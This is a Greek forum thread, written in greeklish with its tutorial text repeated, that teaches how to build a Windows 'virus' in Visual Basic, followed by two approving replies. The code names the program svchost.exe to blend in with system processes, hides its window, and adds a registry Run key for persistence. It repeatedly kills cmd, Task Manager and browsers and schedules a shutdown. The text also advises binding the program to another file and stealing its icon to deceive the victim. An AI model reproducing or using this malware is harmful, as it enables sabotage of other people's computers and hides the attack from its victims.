Σύνδεση
Κορυφαίοι συγγραφείς
ezi0 | ||||
Supernatural(ArromG) | ||||
Aeronide_pain | ||||
R00tReap3r | ||||
xXKosTakisXx | ||||
sinos | ||||
PmakoS | ||||
shooterg | ||||
SnuP | ||||
AcemaN |
Πρόσφατα Θέματα
Dimiourgiste Ton Proto Sas Io Se Visual Basic!
3 απαντήσεις
Σελίδα 1 από 1
Dimiourgiste Ton Proto Sas Io Se Visual Basic!
Kalosorizw ola ta meli tou agapitou mas forum sto tutorial gia to pos na ftiaxete enan io me oti dinatotites 8elete!
Apetoumena Stixoia:
1)Visual Basic(ennoite )
2)Vasikes gnoseis programatismou & Program Designing
Diskolia = Efkolo
Kanoume loipon ena neo project kai to onomazoume svchost.To kanoume auto gia na borei na kriftei mesa sta alla proccesses.Me liga logia to PC mas trexei peripou 7 diergasies me to onoma svchost.Ara ama valoume kai to diko mas svchost 8a kriftei etsi oste na boresoume na apotrepsoume ton termatismo tou.Auto vevea ginete kai me to na apenergopiisoume to task manager alla 8a mas katalavei o xristis kai auto den nomizw na ams einai epi8imito.Fanoun tora ta loga!As boume stis praxeis!
Dimiourgoume lipon to project mas kai amesos kanoume kapies ri8miseis.
Grafoume auto gia na boresoume na to kanoume na ektelite me ta windows.
Tora afou xekinaei to virus mas me ta windows as tou pros8esoume tis kakies idiotites tou!
Pros8etoume ena timer kai to onomazoume opos 8eloume.Stin periptosi mas confusion.Ri8mizoume to interval apo 100 se 1 etsi oste na ginei pio grigoro
Pali sto
Tora kanoume dio click sto confusion(timer) kai grafoume auto:
Pigenoume pali sto form_load kai grafoume to exeis:
shell("C:\windows\system32\shutdown -s -t 3600")
Ama den petixei tote dokimaste:
shell("C:\windows\system32\shutdown.exe -s -t 3600")
Tora sxetika me tin allagi ikonidiou borite na to kanete pigenodas sto CoolUtils Online Image Converter metatrepodas to png,jpg i bpm se ico kai vazodas apo sto My Project(panw dexia) > Icon > Browse > converted ico file
Kai sto: svchost(form1) > Properties(katw dexia) > Icon > ...(browse button) > converted Ico file.Ama 8elete gia kaliteri tixi na to enosete me kana allo programa(bind) kai na klepsete to ikonidio tou etsi oste na min ktlvei to 8ima tipota tote xrisimopiiste Ultra File Binder to opio borite na vrite sto GreekGamerz > Black hat Hacking Section > Black Virus & Creating Tools > Ultra File Binder
Happy Virus Creating!
Apetoumena Stixoia:
1)Visual Basic(ennoite )
2)Vasikes gnoseis programatismou & Program Designing
Diskolia = Efkolo
Kanoume loipon ena neo project kai to onomazoume svchost.To kanoume auto gia na borei na kriftei mesa sta alla proccesses.Me liga logia to PC mas trexei peripou 7 diergasies me to onoma svchost.Ara ama valoume kai to diko mas svchost 8a kriftei etsi oste na boresoume na apotrepsoume ton termatismo tou.Auto vevea ginete kai me to na apenergopiisoume to task manager alla 8a mas katalavei o xristis kai auto den nomizw na ams einai epi8imito.Fanoun tora ta loga!As boume stis praxeis!
Dimiourgoume lipon to project mas kai amesos kanoume kapies ri8miseis.
- Κώδικας:
MaximizeWindow = False(den megistopiite me tipota akoma kai an crasharei)
MinimizeWindow = false(den elaxistopiite me tipota akoma kai an crasharei)
Opacity = 0%(to kanei telios aorato)
Grafoume auto gia na boresoume na to kanoume na ektelite me ta windows.
- Κώδικας:
Imports System.IO(to grafoume panw apo to public class)
Dim FileName As String(na metatrepsei to onoma tou arxiou se string(gia tous ponirous oxi string gomenas :P)
Dim FilePath As Object (na metatrepsei tin topo8esia tou arxiou se ri8misi object)
Dim RegistryKey As Object(na metatrepsei to klidi tou epexergasti mitroou(regedit) se ri8misi object)
FileName = "svchost.exe" (dinoume to onoma tou iou. Stin periptosi mas svchost.exe
FilePath = Path.GetFullPath(FileName)(dinoume tin edoli na egrafei i 8esi tou adikimenou ston epexergasti mitroou opou kai an vriskete)
RegistryKey = CreateObject("WScript.Shell") RegistryKey.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost", FilePath)(na egrafei to klidi ston epexergasti mitroou)
Tora afou xekinaei to virus mas me ta windows as tou pros8esoume tis kakies idiotites tou!
Pros8etoume ena timer kai to onomazoume opos 8eloume.Stin periptosi mas confusion.Ri8mizoume to interval apo 100 se 1 etsi oste na ginei pio grigoro
Pali sto
- Κώδικας:
forum_load
- Κώδικας:
confusion.start(ekinisi tou timer confusion)
Tora kanoume dio click sto confusion(timer) kai grafoume auto:
- Κώδικας:
for each proc in proccess.getproccessesbyname("cmd")
proc.kill
next
for each proc in proccess.getproccessesbyname("taskmgr")
proc.kill
next
for each proc in proccess.getproccessesbyname("chrome")
proc.kill
next
for each proc in proccess.getproccessesbyname("opera")
proc.kill
next
for each proc in proccess.getproccessesbyname("iexplore")
proc.kill
next
Pigenoume pali sto form_load kai grafoume to exeis:
shell("C:\windows\system32\shutdown -s -t 3600")
Ama den petixei tote dokimaste:
shell("C:\windows\system32\shutdown.exe -s -t 3600")
Tora sxetika me tin allagi ikonidiou borite na to kanete pigenodas sto CoolUtils Online Image Converter metatrepodas to png,jpg i bpm se ico kai vazodas apo sto My Project(panw dexia) > Icon > Browse > converted ico file
Kai sto: svchost(form1) > Properties(katw dexia) > Icon > ...(browse button) > converted Ico file.Ama 8elete gia kaliteri tixi na to enosete me kana allo programa(bind) kai na klepsete to ikonidio tou etsi oste na min ktlvei to 8ima tipota tote xrisimopiiste Ultra File Binder to opio borite na vrite sto GreekGamerz > Black hat Hacking Section > Black Virus & Creating Tools > Ultra File Binder
Happy Virus Creating!
Απ: Dimiourgiste Ton Proto Sas Io Se Visual Basic!
file gamaei mono p exeis kanei kana dio la8akia sto proccess grafete -->process kai ena akomi p dn 8imame twra ala katatala telio !!
keep going
keep going
FonikoPapari- Αριθμός μηνυμάτων : 23
Points : 4711
Reputation : 1
Ημερομηνία εγγραφής : 02/06/2011
Ηλικία : 28
Απ: Dimiourgiste Ton Proto Sas Io Se Visual Basic!
Πολύ καλή δουλειά όντως. Και σε ένα άσχετο στο είδος γίνεται εύκολο
Παρόμοια θέματα
» Μαθηματα visual basic
» Μερικά από τα κόλπα του Facebook
» Pros8este Mac OS X visual effects(efe) sta windows
» Μερικά από τα κόλπα του Facebook
» Pros8este Mac OS X visual effects(efe) sta windows
Σελίδα 1 από 1
Δικαιώματα σας στην κατηγορία αυτή
Δεν μπορείτε να απαντήσετε στα Θέματα αυτής της Δ.Συζήτησης
Τρι Ιουλ 11, 2023 5:50 pm από jimdacity
» Download Ziggy TV Pro 3.5.2 Portable!!
Τετ Μαρ 15, 2023 6:51 pm από maliorkas
» Any Video Conventer Proffesional
Τετ Μαρ 15, 2023 6:47 pm από maliorkas
» ΕΝΑ ΓΡΙΓΟΡΟ Btorrent... VUZE
Σαβ Οκτ 22, 2022 3:25 am από maliorkas
» PRO EVOLUTION SOCCER 2010 GREEK PATCH v.1
Τρι Νοε 23, 2021 10:10 am από Athanasios
» Pro Evolution Soccer 2009: PC Summer Patch
Τρι Νοε 23, 2021 10:05 am από Athanasios
» 12 Voip, FREE Sms χωρις να φαινεται ο αριθμος αλλα nick!!!
Τετ Νοε 22, 2017 5:40 pm από merkenaris
» wireless hack
Τρι Νοε 29, 2016 8:53 pm από maliorkas
» Πως να παίξετε age of empires III Online & (μαζί μας)
Τετ Οκτ 26, 2016 9:09 pm από Aeronide_pain